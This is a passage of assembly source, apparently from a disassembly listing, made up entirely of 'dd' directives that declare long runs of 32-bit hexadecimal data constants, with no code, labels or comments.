		dd 0F0611F18h, 0AFADB9D9h, 0DB41CC22h, 0A063C821h, 27385993h
		dd 46B7F0F0h, 28007DE1h, 3B44BA8h, 0E48A8D62h, 15EA25h
		dd 0F719791Eh, 0EDD0E7DFh, 3D0CC476h, 58E2A2EEh, 0B3E00A92h
		dd 99CA71Ah, 0B422CD5Bh, 0B45661C8h, 3D8C8B60h,	0F89495EDh
		dd 9905DF6h, 5862FB00h,	0ED4294A5h, 0C4590010h,	0B2700844h
		dd 60C8B51Ah, 0A018494Bh, 597202C8h, 9121B200h,	7E31506Fh
		dd 38DE626h, 5DDD7F72h,	32D263F6h, 4A195044h, 2D1E095h
		dd 0E4EBC441h, 0EC38282Fh, 90B6FE44h, 2BF645E0h, 99E04027h
		dd 4F42421h, 2303A5E0h,	0C480807Ch, 78C85176h, 3491AF12h
		dd 6AA2E835h, 4D9E3F00h, 879119B5h, 6D60B34h, 100B4FBCh
		dd 8917ACECh, 1C01DD7Eh, 0D33061C9h, 2246A19Eh,	780BCB1h
		dd 1299E240h, 97E90022h, 0ACEDBE0Ah, 47142BDFh,	10E05FC5h
		dd 247BD1C2h, 40903BB3h, 0DE43BD95h, 0D11B4500h, 0B1259462h
		dd 0E490748h, 85F819E4h, 603CCD70h, 97240C28h, 1681C045h
		dd 1A2B0580h, 0A1EBDDD0h, 0D9123F80h, 0EF005CC6h, 297D76A4h
		dd 41D84CFh, 6863170Bh,	0C51C8169h, 8038026Ch, 1C7F9334h
		dd 7EC71D13h, 63F7C29Ch, 3C743783h, 8662AD80h, 91A9C85Ah
		dd 0E847000Ch, 94D910D3h, 0E5CE2C1Eh, 0B3A23745h, 75F9FC05h
		dd 0E210841Dh, 0BEC00C4Ch, 143709CCh, 4A70B800h, 0B91E9335h
		dd 42602F51h, 0B764248Fh, 0E7D8A4F7h, 59088312h, 0A9FA7100h
		dd 2D9E30Ah, 0DCEEE602h, 0C861D07Ah, 9D647CBCh,	6F0E81C0h
		dd 39E14C01h, 510356EDh, 89704EFBh, 0A1E899D8h,	5D75B4A6h
		dd 6D0443E8h, 0EA2AF97Fh, 0F91E0C8h, 1D3FD358h,	8A0E2EE0h
		dd 3100F07Fh, 719DE7C0h, 24344FE1h, 1CA0A852h, 30CE131Eh
		dd 85927298h, 0AC32EA0Ah, 139D3888h, 0DED0BC1Eh, 0A2674213h
		dd 86B500D4h, 0D9C4BD3Fh, 0C9900096h, 0EFEDAFB0h, 1824922Fh
		dd 68888070h, 313F0BF1h, 3DA90C18h, 0A4EDFE0Fh,	0F98D0915h
		dd 8F3680C0h, 6BAC2E66h, 0A74450Fh, 0ADEB20FBh,	0F29B7Bh
		dd 4FDEC5E4h, 735BD950h, 2D8C7458h, 0D844D3h, 61206D84h
		dd 482C8002h, 5B079B09h, 0FD06C8Dh, 4A1D024Eh, 7BE1BBA1h
		dd 0CF23D82Ah, 0DF722B13h, 6500F0F2h, 5446372Fh, 0E63832DEh
		dd 1CCF00F3h, 6322568Fh, 0DB2A005Ch, 0BB8CD6F1h, 114E0E62h
		dd 62C6D082h, 38CEFCh, 9F1E1B2Fh, 2971A2EAh, 2C919A26h
		dd 5B0E6826h, 6C3EA187h, 0FC234AC8h, 0E4DCEA16h, 0A02EDB40h
		dd 0B507CC37h, 40E1F57Ch, 0F1F87B7Dh, 2C427C53h, 3E109D5Dh
		dd 0C14AEF82h, 552068B6h, 5CC2920Ah, 0B302247Fh, 31C75D4Eh
		dd 0C1404474h, 0FA3BCA9h, 2D1DA089h, 0FC6E2C60h, 0C803DCC9h
		dd 0B0C0F460h, 72511769h, 0D43001B6h, 223F9DFBh, 0AA62006Ch
		dd 1C477C94h, 9D700E7h,	3F62202h, 0FE71BA8Bh, 0CB791F76h
		dd 0E05F4D24h, 14A3D996h, 0EB4A9201h, 91C0F018h, 4800C7A0h
		dd 0D6511BB4h, 0E800534Fh, 0F6D37FBBh, 38D01850h, 0CC482C54h
		dd 22094E05h, 80E3D8h, 0EA5249DCh, 61793753h, 0BF4732C4h
		dd 3DC18B0Eh, 61B01A45h, 8C106DF8h, 323E067Eh, 3E7A043Bh
		dd 18D4DD77h, 9371C40Eh, 6B00B0B6h, 92090F34h, 0E802DD0Eh
		dd 0E50207EAh, 198EA7Eh, 0C3A7162Ch, 0DECC2C3Ah, 1A771514h
		dd 49DF8288h, 49C4DC62h, 7F273203h, 5F573EA0h, 0ED7CCA01h
		dd 0EB49E1A5h, 7224402Eh, 4AD1B554h, 3309148h, 7926DEA6h
		dd 0D372E78Ch, 2A74E9CAh, 10D8C014h, 817CF661h,	80602BF1h
		dd 67F306h, 0FC0DF809h,	0B7CB01C8h, 3D38250Fh, 0F33C6008h
		dd 60698310h, 0C68008E0h, 94008132h, 88D855BEh,	7601E212h
		dd 99B5003Bh, 4F292B1h,	3C038FC0h, 7BD4824h, 789D907Ch
		dd 0AF1E383h, 84F34887h, 6E3BB376h, 100010EEh, 0E06275D1h
		dd 38934AD4h, 89817C1Ch, 7283674Fh, 7398316h, 22F2CBF7h
		dd 3C01F599h, 99A244CAh, 2DF076D4h, 73820678h, 61346890h
		dd 86D78100h, 2345BF27h, 0D2510036h, 6BAE9352h,	0CB034ABCh
		dd 19785DA2h, 0D490D8A7h, 0F6290354h, 6E36C046h, 480185F3h
		dd 1A64A27Ch, 8980D48Ch, 183F594Ch, 5D00DAF8h, 196EF021h
		dd 26BEACh, 7E834E0Ah, 9D57BBBFh, 0E9321428h, 86E0B9C3h
		dd 88A12985h, 0AC958EB4h, 0CE35840h, 7400F94Ah,	0A671B901h
		dd 24C3BD8h, 0CC7E7B72h, 8CA3E58Eh, 0A1788CF0h,	0E7065E73h
		dd 0C01E3E1h, 34660021h, 6B21DB4Eh, 0FD000E8Eh,	9129AB26h
		dd 907097h, 3C4809F0h, 73A22860h, 0A1E04B1Dh, 68537B0Ch
		dd 6D8840B2h, 50B13560h, 3A5A9858h, 7C801A41h, 0F45B6C40h
		dd 7401BCD7h, 1EEE896h,	30838408h, 683B97Dh, 4177F9C3h
		dd 0D0357C0Ah, 0A0030884h, 0E97B8B95h, 0F8481268h, 217F60F6h
		dd 0AB8C0AA1h, 0AE01FCA6h, 0B9095D12h, 32C128D3h, 606923E0h
		dd 425421FEh, 7E01F562h, 0DF3A6AC0h, 84D13F9Ch,	2492BE8h
		dd 0D4C72813h, 441F2D7h, 0E58CF0E7h, 90C6F998h,	893F0Bh
		dd 0D9AD3121h, 0F54858E8h, 6851A408h, 0C04A9CF9h, 3C1A009h
		dd 28055B44h, 0DCBDB9AEh, 0FBB1B000h, 983F92h, 2790B8D6h
		dd 0A324D93Dh, 3210280Fh, 1A81E0C8h, 701202h, 0DBCE6897h
		dd 7FC5724h, 8082032Ah,	731D797Fh, 4B1F7532h, 0C37BA100h
		dd 0CF4A12h, 3B2046B6h,	687A24C9h, 0C084D737h, 9B380F8h
		dd 23729C31h, 0F5D6A207h, 11A643AAh, 616D2A21h,	0E3E400C4h
		dd 53E8CD16h, 6A000B8Bh, 0B9589645h, 6293E08Ah,	4C32296Bh
		dd 0E372085h, 156CCBCCh, 0F61D7D51h, 953EF4BFh,	38A80FFDh
		dd 1FAD8295h, 91E006ABh, 1884A1FCh, 8362502Eh, 197D94F0h
		dd 500A8D28h, 1D926C44h, 34A5CF4h, 0A89BE0DBh, 33A0DC80h
		dd 0C880052Ah, 18802C90h, 2C7C11C0h, 0CB47A100h, 8EA23F82h
		dd 3841EBFAh, 6412F2DCh, 8C846081h, 8F444147h, 32F0100Bh
		dd 0E031D403h, 0A187B702h, 8664F64h, 0B5B6EC00h, 0B9DCE5BEh
		dd 0ED9EB0CDh, 9DFD006Fh, 0F9FB0B1Ch, 32693238h, 80064807h
		dd 5C54C674h, 42DA01ACh, 55377C3h, 0E047DCE1h, 6D324E02h
		dd 60938268h, 0EE5C3B4h, 12BB1914h, 18912426h, 150ADE5Ch
		dd 806068h, 20E0E64Dh, 3B54E5h,	0B63D48AEh, 5D9A9597h
		dd 0D8571200h, 9324F5F2h, 63BE29E0h, 110708F0h,	0A1ED068Dh
		dd 73BF2AD4h, 8BDF0017h, 5BACF063h, 86001904h, 0D88C5F5Ch
		dd 3E79324Fh, 0A61D5E82h, 9CE04569h, 482C0F38h,	1244221Dh
		dd 30DF00A1h, 0CC23665Dh, 19C61463h, 397968h, 0ECF14C7Ah
		dd 8CD4379Dh, 0E4A16E00h, 0C8043250h, 9330C313h, 30E0738Bh
		dd 0CCA18DE2h, 22D84548h, 0C460A54h, 9AE0AD00h,	486BF117h
		dd 4DC3007Ch, 0D5E75158h, 5F606DF4h, 0C8894E29h, 99391DFFh
		dd 0CA1A80B9h, 0FA8C2E03h, 61101C91h, 0CC297880h, 11C61D66h
		dd 49676Dh, 0EABC4398h,	4BF1EE17h, 0CF8F6200h, 90C24F3Ch
		dd 0F7910AE9h, 1FE00B0Eh, 7371C131h, 0A4B4497Eh, 84118490h
		dd 4780A03Eh, 6A2A1CDh
		dd 89CCDEF9h, 800969h, 582FAC73h, 0E457C11h, 0A0423900h
		dd 3FC276ABh, 0BC01520Ah, 59962900h, 1A7AF47Ch,	0C58B921Fh
		dd 20CE4FC0h, 0CF617F8h, 875CC21h, 0B27E0731h, 2EA069C0h
		dd 0C278F194h, 0F06AF818h, 0F4C01809h, 47A50148h, 2BBB9E01h
		dd 0CFD8E30Eh, 96074C4Dh, 18893FD3h, 93689322h,	4826D094h
		dd 4B1E04FEh, 0C0F6B32Eh, 777649D3h, 46CA9B02h,	424C5E43h
		dd 0D1780324h, 41D668h,	0F14319FEh, 0A2923E41h,	988FEF00h
		dd 2E990EC0h, 0A3280E5Fh, 5C4F74h, 0A1777338h, 3274F4C5h
		dd 0BC4C370Eh, 5DC96F20h, 5C005F1Eh, 76F361C2h,	865237A5h
		dd 6B49C020h, 5800A7CBh, 0E16F09Bh, 7280C01Bh, 7EE8A0B2h
		dd 4007673Ch, 0F763CEBCh, 61BE0A0Bh, 0E8E4011Dh, 7398B500h
		dd 0E2C72F6h, 8F6AE187h, 7E7A83BDh, 410DE82Eh, 7981B023h
		dd 1FEC66FCh, 0AC60D91h, 0C4DB2h, 94B0C75Bh, 52224869h
		dd 0B39847h, 4217A563h,	0ADCB4CD3h, 0E4656CA0h,	0EA189600h
		dd 644AB583h, 40B9011Ch, 0BC316187h, 0E03CD184h, 25012E67h
		dd 5C091DE3h, 2FD0EB14h, 0C3FFE02Bh, 31818720h,	310686E3h
		dd 3FD7F97Ah, 0BA5A1D48h, 0DA6DC0CBh, 85364964h, 3BFD9C18h
		dd 0CDE0369h, 48AFD6BDh, 2B143C10h, 32C6704h, 0D60EE35Bh
		dd 6905E158h, 6BD33850h, 49336019h, 0A4380423h,	0DAAE2903h
		dd 88599582h, 0C366F6Eh, 3DB3D664h, 65009861h, 0B8BD5D5Ah
		dd 4F4C404h, 0DA55F285h, 0CCDA879h, 592C1C67h, 3B2AF4B2h
		dd 99006C9Ah, 185FD594h, 860C05C0h, 0BE6EAF19h,	0AE5B58F5h
		dd 0F9D96079h, 0C234EE7h, 0CD83B603h, 2AD42Eh, 0B0B99681h
		dd 0BFA5BBCCh, 1D1C6800h, 589EC57Dh, 0C731156Fh, 7C1AA488h
		dd 0BF00F178h, 0DF21EF26h, 0A1D63Fh, 0E6125943h, 6073B27Ch
		dd 2721297Dh, 74054926h, 0E279DD22h, 1F0FB427h,	64F3F003h
		dd 2617580h, 1A13472Eh,	0C099AED6h, 487F18FBh, 0C111089Dh
		dd 2D700086h, 1CD9C6E8h, 52ACA849h, 0D033280Eh,	624A009Fh
		dd 0A04EA4C4h, 0DF01446Fh, 3CAC045Fh, 93F95C75h, 0FECF4980h
		dd 0BB818F59h, 0F3857901h, 78BA8449h, 30FA8E8h,	0DFFE4438h
		dd 9100667Eh, 0F462BC2Fh, 714347A4h, 0A919C07Ch, 299678AEh
		dd 0F255E200h, 1E989317h, 0E0350520h, 4A2F5679h, 0EF45C84h
		dd 1380A3A6h, 92ACC7E7h, 0DC7C6375h, 15E0FE52h,	1978C331h
		dd 0D188F409h, 0DD083E10h, 881C64E4h, 43007B4Eh, 0D27A3719h
		dd 9E310A2Ah, 5FCBC5Ah,	4B8DD01h, 805098D0h, 0D27C5C08h
		dd 0C8C249C0h, 6EDD8Dh,	0A6BD722Dh, 0AA0D32BCh,	0CAF76000h
		dd 0C1197C87h, 999806E2h, 0C935FA7Ah, 8068D348h, 41F06C92h
		dd 81CA2895h, 319644B0h, 6B21E100h, 9D1109Dh, 90D70006h
		dd 39AEE556h, 5001D69Ah, 4AC0DE0Fh, 0B44ADCEAh,	0A7A010h
		dd 7FBB8367h, 25AA573h,	5C3F757Bh, 3C447EDDh, 0F5F7D500h
		dd 93B6A768h, 773E0986h, 0DC0C54B5h, 0DB063CB1h, 9517BE5Bh
		dd 92C9011h, 0C1DCCBFAh, 20148988h, 8832E4D8h, 19CE44D3h
		dd 25150085h, 0C7CE4B0Dh, 70816B6Eh, 0B0D66580h, 0E293E69h
		dd 0E104914Ch, 0C0668CF5h, 0F979F670h, 5C00F0A4h, 0B9CD7F80h
		dd 12BE63F0h, 101633AEh, 2B83AC60h, 49016402h, 80BA5B05h
		dd 6091AD56h, 0D4810CDEh, 0CF312Fh, 0A9B4A805h,	8BE7BD2Ah
		dd 0CAAF5F00h, 4E0388E8h, 5129ECC7h, 768074D5h,	10E27FE4h
		dd 0DA0022AFh, 2AD50A06h, 0D4D8A503h, 500A8DA8h, 6F16FF0h
		dd 0A148FB7Ah, 8728D34Ch, 0FDA16304h, 4EC80F6Fh, 32A4019Bh
		dd 48B1BCB9h, 4B66F45Ch, 765B6101h, 0E0805A6Ah,	821441EEh
		dd 0D2569910h, 0A200DA77h, 18CDC0B2h, 0A8EF1432h, 0C07E7CF0h
		dd 741C53F1h, 0BDEC41D7h, 7D0A09EEh, 8879FB30h,	0C5F80049h
		dd 928245h, 6705E164h, 414DFD7Ah, 75955C80h, 505B7AA9h
		dd 19C1C7Bh, 0B3B13052h, 0E8941019h, 0E1D443D4h, 0B806006Ch
		dd 0A288D303h, 0EDC21E08h, 0EA7300D6h, 0E6C16ACEh, 0E1BD490Bh
		dd 905C04F1h, 61607C46h, 7771400h, 0DEBE837Fh, 320A01FBh
		dd 39FD79C0h, 8C903494h, 0BFE78600h, 31637A0Fh,	30099BDh
		dd 305D21CCh, 0D68AC887h, 0D840E457h, 0E1A77FCAh, 115AF190h
		dd 0DD3E949Fh, 95A4E404h, 9344828Dh, 1334B4C1h,	0E757E10Ah
		dd 24F10B30h, 90046F3Fh, 3DFA18DEh, 8942B571h, 2E03265h
		dd 0D3A02D69h, 97D040A2h, 0DC025062h, 6701EBEDh, 0AE344019h
		dd 8600D39Ch, 0ED9B330h, 0F2C9557h, 775FBC84h, 6147989Fh
		dd 0CD01FD1Ch, 0ECEBCBE8h, 0D99450D5h, 0B11098D0h, 0E8D32A3Fh
		dd 0C7933C00h, 6AD72BB8h, 99B1245h, 56B823F5h, 622340E2h
		dd 3AB9249Ch, 17C200F1h, 57A9DC7Fh, 0A8BAD629h,	206DD00h
		dd 0C39F6505h, 3395BB31h, 9A38B490h, 0A075301h,	91032BC5h
		dd 32D67064h, 0E04145A6h, 0A7FAB881h, 30F2CD02h, 4286F8ECh
		dd 0E1CC09C6h, 0FDAC0242h, 0C9312215h, 675CC0C4h, 684C401Ch
		dd 7303BCA4h, 9E105C1Eh, 8CBDA02Ch, 2880B8D8h, 221C649Fh
		dd 98023DA6h, 0DD41A907h, 784473h, 0C5B48BEBh, 9DC469B0h
		dd 56BD0109h, 5E9884FFh, 0F0475143h, 52D4BAE8h,	68434824h
		dd 0DD4A7060h, 41F900A9h, 46B1DDEh, 905E1C0h, 0C3B5955Dh
		dd 74069CC5h, 63E068BCh, 0DDE7C9C5h, 2ED33018h,	0C85369h
		dd 9A549C2Dh, 636A59CDh, 25528900h, 0C009CCE4h,	0F68790F8h
		dd 2D193077h, 0E90CC449h, 884BEF00h, 0A5DD773h,	0AB130445h
		dd 0C0820716h, 0FCE18004h, 85606490h, 0E35CF0B9h, 31F70A1Dh
		dd 89A87FBAh, 94040811h, 1FB08873h, 0BA0E8F00h,	7ED5FAB9h
		dd 0EF19C77Fh, 0F0E7E76Fh, 12A95DCDh, 50283012h, 203D2017h
		dd 1EB809D0h, 8531ABh, 2864108Dh, 0C300E35Dh, 0C2D25F63h
		dd 0F80B65A0h, 99172CFCh, 0F25E8178h, 0DF7B321Ch, 64E480Eh
		dd 7A3D0188h, 1822C8E0h, 4042C73Ch, 3E131A99h, 340F27F5h
		dd 63F280A2h, 0C85B6FAh, 953AD6A4h, 9A003661h, 0A56FBD58h
		dd 26306C84h, 62A47A06h, 0CCE2CBBCh, 0E71D8C98h, 58AF092Eh
		dd 3C20D316h, 0A5E8EEh,	0CFE2E15h, 8248E00Eh, 87711A00h
		dd 2B54E33Dh, 44C090B1h, 911D649Fh, 0EF42E796h,	907F2C13h
		dd 28F0DBCh, 7A508170h,	0C807D72h, 0BE918E03h, 6BA25300h
		dd 0B55C2B2Eh, 2CE72C79h, 0BC0FBCBCh, 0D26E84BFh, 0CB31B127h
		dd 40A1580Bh, 451E2AE7h, 0DA548028h, 5B2C8651h,	0C107D0EDh
		dd 822EB1D6h, 0C6FA644Fh, 8C5105C8h, 0C8650CC5h, 3900756Ch
		dd 178F4EE9h, 599324h, 146C51C7h, 508AE668h, 0B7EDCD13h
		dd 8EFD4008h, 0FC29C704h, 0BCE70410h, 0B73C6F00h, 0BD8439EAh
		dd 541E24BAh, 1C9306B4h, 0AE3A3927h, 5883807Fh,	0ED3DF1C9h
		dd 0D77C302Dh, 0EF6A4BC9h, 5B3FE600h, 5DC027CEh, 9320034h
		dd 0C758EEEh, 1E7E9E1Fh, 0D846D32Ah, 0FF00237Dh, 0F32B0E5Ah
		dd 22E11h, 9703B3ADh, 0CC4E6D09h, 3E80FE53h, 51F96065h
		dd 0F8B926h, 1A3213A3h,	0EEEBA9E1h, 0AE707F04h,	2CA47E6Fh
		dd 0E722008Dh, 0BA53A4C1h, 0F6005708h, 63A867D5h, 0F332C0h
		dd 0FA401309h, 797C0FE0h, 0DE7A39C0h, 2595D3h, 0A2CE784Ah
		dd 6C053024h, 0F82021D7h, 0AA58EAh, 5AE58F56h, 423B53EDh
		dd 403E5E01h, 7268719Ah, 0B3E0DCh, 0B6819EDBh, 20BC8328h
		dd 5C0EF02h, 6031BE0Fh,	0B27D62A0h, 0AC8658h, 79646B1Fh
		dd 665ED242h, 3E97E400h, 7B2A3672h, 0DE2C0E2Eh,	544C220h
		dd 9465453Ah, 23629440h
		dd 973D9541h, 337D0E80h, 8D0156A9h, 0B5E9EC61h,	4C62161Ch
		dd 211E3013h, 0E0229418h, 88F809AAh, 19D44274h,	96C510F4h
		dd 37135494h, 0E2C8207Fh, 0A60430E5h, 5BB7964Fh, 0A1C5F882h
		dd 0D4112BE0h, 0BE812985h, 50A8CC17h, 6C680101h, 0FC58969Ah
		dd 818B4422h, 200ACC19h, 8E09A1E8h, 849EC4A9h, 1C497F18h
		dd 60611840h, 488B9600h, 0CE13DA72h, 44C415E7h,	390024D1h
		dd 9783367Fh, 0BFF0F5D7h, 3166CD06h, 4CE18CC1h,	1780447Ch
		dd 2BF1E213h, 3899B601h, 96C8744Ah, 62DC9828h, 0F306E017h
		dd 481CE409h, 0F05BF09Ch, 54755007h, 296D88DAh,	0F2172D07h
		dd 0E1C66223h, 90046519h, 40C48267h, 6085CCA9h,	7BC43230h
		dd 0D0FA8A2Fh, 0CF19BD41h, 0C7142088h, 3D47E741h, 73988C04h
		dd 0FEA0A1Dh, 2AE6A840h, 1C023F3h, 53C22279h, 0E6B53080h
		dd 10782841h, 987906AFh, 8A1B60A9h, 0DDEFE641h,	5A867403h
		dd 7EED10D2h, 5C0E0A08h, 84005A2h, 5CBE77E0h, 9080C068h
		dd 12920FAAh, 5AF2FADh,	8CB6FD18h, 2500A580h, 19AC565Eh
		dd 18216675h, 4179C832h, 1E074A67h, 0C625D015h,	8457B160h
		dd 190500DAh, 4964DFD8h, 7B4CFDFCh, 0AC6C8008h,	79C182h
		dd 0BAE2BF05h, 5A342645h, 43DF661Dh, 865BB040h,	0BAEBD384h
		dd 0EE00090h, 9AC01D73h, 5C1CC54Ah, 26C524A6h, 7012666Ah
		dd 7DBEF031h, 8D64A1C7h, 976BA989h, 0FB0254C4h,	9ED61FFFh
		dd 3FD8C1DBh, 80CEE010h, 7472B52Eh, 0D8FECF40h,	9C7C480Eh
		dd 627F6480h, 0AB00E282h, 4F4B25FFh, 0E048F7h, 3FD1E471h
		dd 2E66AC7Eh, 6AB80106h, 38999381h, 51252BBCh, 0A41CA405h
		dd 0E600D318h, 7EA58D0h, 0E445853Ah, 738005D5h,	99A37872h
		dd 9893C098h, 0A6924501h, 7E73DB03h, 8B81A010h,	0E07DC978h
		dd 5E0E548h, 3E058280h,	67DCCCh, 419860A6h, 666DB578h
		dd 0EA5D3912h, 0C6D880C9h, 3EFF009Ch, 0B3C46246h, 0DBE13023h
		dd 2E382148h, 19045050h, 14897C45h, 3018E4h, 0BD11CEA7h
		dd 65313E1Eh, 14F8544h,	74FE4EDAh, 2456D420h, 7502B20h
		dd 5848D63Ch, 0E5BC1E0h, 0B4FFE1A5h, 6FBB005Fh,	302786E5h
		dd 0FADA6402h, 40AE7294h, 9C60C5D4h, 0E5EB6124h, 67BCCC6h
		dd 1D01DEE8h, 0F9945C0Ch, 0BC61ADAEh, 88426860h, 0DF000DE0h
		dd 8343DB08h, 266433B5h, 1258E839h, 3A30C879h, 593FA6E0h
		dd 0FF838593h, 90D0C891h, 44B2D6D5h, 0AA032B3Fh, 44C25BA9h
		dd 0B9658175h, 8302C829h, 1C0B3AB6h, 3E3B6052h,	8B468048h
		dd 0D72ABDCDh, 7F6A070Ch, 116DF181h, 0DEC7245Bh, 0AA00DCC6h
		dd 0F6D60725h, 16D77AE7h, 91B9298h, 0C4961D20h,	988A2A00h
		dd 3BC2B5DCh, 0A8040264h, 9357D605h, 99022B22h,	9119BDC4h
		dd 794578h, 0AE8E2C9Ch,	3252FAF6h, 4B1D1305h, 9AC3FDCAh
		dd 0DE290094h, 0DCCF020Ch, 8498A385h, 383C6F45h, 0C9959280h
		dd 0A4004346h, 1C249CADh, 4CB7CFB9h, 2200C966h,	0E2B63521h
		dd 7A2D39FCh, 31382256h, 0AD852C2h, 3DC58467h, 0D6730C58h
		dd 1F072761h, 99BDD1F6h, 0DB7E22D0h, 6B063B35h,	843B60C8h
		dd 10E837A6h, 6DBF8445h, 9C003056h, 180B56DCh, 0F51F24EBh
		dd 10A71107h, 0A63211FFh, 0B8DE5409h, 8FC38110h, 984C6391h
		dd 0D85E26E1h, 17D3928h, 0CD2CC34Dh, 0F8169569h, 0CF053CDDh
		dd 1D2AFD66h, 0B0C5488h, 0F09F03B4h, 307BC485h,	82D270E4h
		dd 6537720Ch, 4F7AA921h, 80C455F5h, 0EDA6F480h,	55741B27h
		dd 0E3E6BC00h, 849C5D45h, 56F8C2E9h, 0C8223FDAh, 27DA2886h
		dd 9D380A6h, 8D00C9F8h,	307353A5h, 59303A3h, 80BE05AFh
		dd 28BCB37Fh, 1A0081CEh, 0CFCCA1E4h, 174078Bh, 0A30B57EFh
		dd 0D2A0D5D6h, 5400F859h, 0F7E2BA29h, 9D8C051Dh, 1EAF5616h
		dd 3D007BDEh, 0CB7E7986h, 0E172CCCh, 94E08335h,	9D9900F6h
		dd 2E48FC28h, 9188A75h,	2B214029h, 5008C088h, 0AD28072h
		dd 0E7C7100h, 97D89DCAh, 0AE942618h, 0C4303063h, 0DB8B93CFh
		dd 87C2Dh, 79EFB83Dh, 0B22BE8A5h, 0CB9B8906h, 212CAEh
		dd 0F784BDD0h, 0D15D47CFh, 0D6936700h, 766D6B4Ch, 3E4DB807h
		dd 281D230Bh, 350A0501h, 82500850h, 0A34989h, 96682679h
		dd 0C7A18B0h, 0D0C729ACh, 3D20800h, 0E8E0D02h, 0B0280399h
		dd 0E330C4E6h, 85B851B8h, 736BBA00h, 0BB6737C9h, 0F86F3D59h
		dd 0CB83DABEh, 8AE80939h, 810D3818h, 30B57B41h,	66C2910Bh
		dd 133EA025h, 1286B83h,	3E11B139h, 3548FF4h, 7471245Eh
		dd 0AEF9820Ah, 0ADE1FF4Dh, 1B31BAB5h, 0E7598877h, 919F8EFh
		dd 31E1200Ah, 7D00E2F0h, 67E8D81Eh, 6EC0BD9h, 0B38F87A5h
		dd 0D00331B7h, 36386985h, 0F7B10CEEh, 88412A02h, 0E186D30Ch
		dd 841137h, 2106F875h, 0B96E9BCBh, 0C48B23Ch, 41E7A871h
		dd 120901BCh, 316529F3h, 190BD7ABh, 879D1E53h, 94504697h
		dd 11037Eh, 0E5F5914h, 7B6B02D5h, 0E11A740Ch, 0BE8712Fh
		dd 0F1C8B3E5h, 0BA63AB80h, 0E130E08Ch, 2112132h, 68AE07B9h
		dd 805E5552h, 88C1D38Fh, 79E2A831h, 537051AFh, 536A7987h
		dd 0B100C8DEh, 20C22A84h, 5A0701E5h, 0A7318A7Ch, 633C3930h
		dd 0D88A896h, 923882Bh,	0CA0EF51h, 0E78661C4h, 9218A508h
		dd 8208248Eh, 0EB0B3239h, 188E0D91h, 89644BC0h,	0D0504D7Ah
		dd 0B5892EB4h, 31A5AF4h, 691D3CA1h, 59008812h, 1065887h
		dd 6656E0Fh, 0E1B6D35Dh, 8201393Dh, 5C0A7D47h, 6ED830A2h
		dd 0DDA6138Bh, 87E00A1h, 8FCAD567h, 24B2B724h, 0F1418964h
		dd 88EE5E10h, 83956F19h, 3C09276Ah, 0BD8822h, 0CCC16FE3h
		dd 3522C6A7h, 15F7701Ch, 0B58814E2h, 68002065h,	3ED34FAAh
		dd 0C3F8D27Bh, 0BC927100h, 1AB2B469h, 4813486Ah, 6FFB9780h
		dd 0AC0238A5h, 9CEAD560h, 0F7D360B2h, 8A51CB0Fh, 8B661683h
		dd 1A0A1101h, 67E18504h, 34392187h, 860048E4h, 0F272AC69h
		dd 3A3C44E1h, 1CF0E001h, 0CC7F1E38h, 46BFF0h, 90E9A4DFh
		dd 0B169A580h, 0AC139E01h, 0AB29FF19h, 0FA00E822h, 4B894501h
		dd 5B008795h, 0C510567Dh, 0CE2F17h, 88FEA108h, 13DF6BD2h
		dd 49D98160h, 138F8B5Ch, 2AC1Eh, 1076F13Bh, 44099BE5h
		dd 8A6F32B8h, 23831CDCh, 188D69B5h, 0B930E1E1h,	0FE0039C0h
		dd 708B7DE5h, 92F287Fh,	0ED29F2EEh, 293FDD86h, 79801330h
		dd 714D2Ah, 23CCE90Bh, 0DE0F3922h, 1473361Dh, 6A9D502h
		dd 15744897h, 22138935h, 215E0010h, 0CED81F6Ah,	6282A083h
		dd 8F99C492h, 0B8035EABh, 7F2AE40Eh, 0D0B34419h, 0DD5F5500h
		dd 6F038578h, 0B11F03A4h, 0DC64B531h, 0B46A310Fh, 10E229B8h
		dd 0FC1143FCh, 0D8A43E0Eh, 0FF286989h, 89121402h, 0CF81AC20h
		dd 0D0CB00A0h, 2CD9DEB6h, 33017A1Eh, 0E331163Ch, 0E82053A1h
		dd 18E49067h, 0B9B962B5h, 4900AB6Ah, 40B468A5h,	24ADF185h
		dd 92FCEA3Ah, 8DD422F8h, 5438C620h, 9FFB3E47h, 68B24500h
		dd 1248A2A6h, 0D891C268h, 0FE048911h, 8118BAE0h, 225EB81Ch
		dd 22E04884h, 1DD00D82h, 0FCF139E1h, 22006301h,	60592F36h
		dd 364C244h, 5A8419B8h,	0CC941C69h, 0E00E2E5Ch,	40F02382h
		dd 133DD5C8h, 0B571C250h, 0AA108E6Dh, 6AE38BB3h, 0B02D97Ch
		dd 8FE180A9h, 0AB6087ACh, 7714218Ch, 46F900EEh,	0F63AAC42h
		dd 3F223988h, 0BF726BAh, 0F31F4088h, 712A031Eh,	4E0F50BCh
		dd 83991936h, 9E374F2h,	0E1EADA7Eh, 3BB73010h, 0E76F2900h
		dd 0D2F3E516h, 0E11219EFh
		dd 481321C9h, 0CE071DF4h, 0AFBDF2DAh, 0E35F3560h, 9B579F0h
		dd 46DF6AE2h, 60B49086h, 334E91F0h, 4C0FBAF0h, 21105813h
		dd 6CBB05E5h, 488D2F57h, 0BD30AED9h, 0AE413h, 662DBB9Ch
		dd 3E0DD9AFh, 15568F1Ch, 5F6B94C0h, 0C0EAAB37h,	121CA639h
		dd 591D85E6h, 11002E53h, 0B321BE64h, 0A4884889h, 24B14075h
		dd 8190C650h, 90BC74h, 26508E5h, 0E744A8D3h, 1CE078BEh
		dd 80487FA3h, 0AF6DC03Ch, 546A37h, 8EDDA09Ch, 0DE40CE48h
		dd 0F2CF2D16h, 0F367CC30h, 0AB260790h, 702252DBh, 0A09FE4C2h
		dd 8E870900h, 0C166BB88h, 0AD970F38h, 0CC008A41h, 0B311FD4h
		dd 0CF18954Ch, 0C9F680BEh, 0DA24FEh, 0A386160Ch, 9913FD2h
		dd 1EDE1106h, 30E1C8E1h, 7C398C13h, 0B900D347h,	15F8060Bh
		dd 0B69195h, 0A0835E19h, 46A494F3h, 0AF094C01h,	0E50E3996h
		dd 331DB001h, 0AB2703CCh, 0A0557960h, 0E77C11h,	6E0C20CDh
		dd 39591753h, 0A1498412h, 40082852h, 0F7D081B2h, 60CD1E3Fh
		dd 0C548542Ch, 70B40210h, 988BF16Bh, 0D2B1FCh, 0B918497Ah
		dd 33C2F0C5h, 20132E0Eh, 469D8045h, 41436A9h, 0B52FE363h
		dd 0B1A88C6Bh, 644286h,	0F4D4B28Bh, 60AB2E8Fh, 0DE4C19F5h
		dd 7C05488Dh, 5669235Fh, 98BDA6C0h, 85340917h, 3C82F564h
